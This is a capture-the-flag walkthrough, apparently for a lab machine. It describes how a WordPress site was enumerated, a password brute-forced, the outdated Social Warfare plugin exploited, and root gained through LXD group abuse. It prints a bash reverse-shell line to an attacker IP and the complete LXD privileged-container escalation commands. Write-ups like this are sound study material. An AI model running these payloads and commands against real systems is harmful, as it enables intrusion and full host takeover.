NETWORK

SCAN

ENUMERATION

Port 80

Looking into the port 80, we can see the following

Wordpress enum

The initial directories brute force scan has revealed the a folder wordpress

A wpscan of this wordpress instance reveals the following

We have discovered a user max (in addition of the admin user) and an out of date plugin “Social-warfare”

and we can note the directory listing on the server

FOOTHOLD

WP brute force

Using WpScan, we are able to brute force using Max password

Unfortunately his access being too limited we are not able to exploit the server via this route

Abusing plugin Social Warfare

Knowing that the plugin being used by the site is outdated, we decided to search for a vulnerability in this plugin. Our researches led us to the following

Using this python script we were able to run command on the server. We then went on to first expose (via a local server) a reverse shell payload

system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.49.136/443 0>&1'"

and using the python script to send the payload to the victim server

We got a limited server access on the server as user www-data

PRIV ESCALATION

Rabbit hole 1

Looking into the server, we have found a file name secretkey.txt

The content of this file being a base64 encoded payload, we went on to decode it and found a message

Rabbit hole 2

Looking into the files of user max

we’ve found some rabbit holes

SSH as Max

Looking into Max .ssh files, we have found an ssh key

Using this private key we were able to get a better access in the server

Abusing the LXC/LXD Groups

Looking into user Max groups we noticed “LXD”

With this group we are able to exploit the machine because the current user has access to create system containers as root.

As suggested by LXC, before actually using the image it should be initialized and its storage pool should be configured. The default selections will work just fine:

lxd init

We can then clone the lxd alpine builder in our local machine

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder/
sudo ./build-alpine

If during this the build an error comes up, that could mean the mirrors used are not valid. Simply edit the rootfs/usr/share/alpine-mirrors/MIRRORS.txt file and remove all of the mirrors apart from the first one:

after building our image, we can then import it in the victim machine

The next step is to import the image using the LXC command-line tool. It’s important doing this our HOME directory on the victim machine, or it might fail.

lxc image import ./alpine-v3.13=x86_64-20210218_0139.tar.gz --alias myimage

The image can then be run using the run the security.privileged flag set to true, which will grant the current user unconditioned root access to it:

lxc init myimage mycontainer -c security.privileged=true 

The next step is to mount the root folder the container, under /mnt/root:

lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true 

The last thing to do is to start the container and to use the “exec” lxc command to execute a command from it, in this case an sh shell:

lxc start mycontainer 
lxc exec mycontainer /bin/sh